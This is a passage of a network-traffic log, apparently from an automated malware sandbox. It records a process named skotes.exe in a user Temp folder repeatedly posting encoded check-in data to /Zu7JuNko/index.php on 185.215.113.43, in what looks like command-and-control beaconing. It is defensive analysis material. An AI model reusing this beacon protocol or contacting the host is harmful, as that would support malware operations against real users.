Nov 23, 2024 03:23:44.881123066 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66941 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:23:54.906280994 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:05.108927011 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:06.741126060 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:24:07.095432997 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 66963 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:24:17.100737095 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:27.302721977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:37.504091024 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:47.706532001 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:24:57.904335022 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 03:25:28.347912073 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:25:28.680437088 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 67045 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 03:25:45.546706915 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 03:25:45.879959106 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 07:48:03 GMT Age: 67062 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50122	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:46.747629881 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:48.102952003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50131	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:49.863749981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:51.239208937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50139	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:52.882857084 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:54.264652014 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50148	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:56.030317068 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:57.445090055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50155	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:59.081864119 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:00.421776056 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50164	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:02.166572094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:03.544534922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50165	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:05.195679903 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:06.581971884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50167	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:08.333729982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:09.765466928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50170	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:11.400480986 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:12.783164024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50177	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:14.519783974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:15.920545101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50185	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:19.208071947 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:20.591209888 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50189	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:22.226845026 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:23.636650085 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50192	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:25.385442972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:26.716084003 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50194	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:28.344351053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:29.734947920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50197	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:31.482893944 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:32.859472990 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50198	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:34.503072977 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:35.848288059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50199	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:37.599472046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:38.975549936 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50201	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:40.619246960 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:41.953769922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50206	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:43.696324110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:45.084268093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50207	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
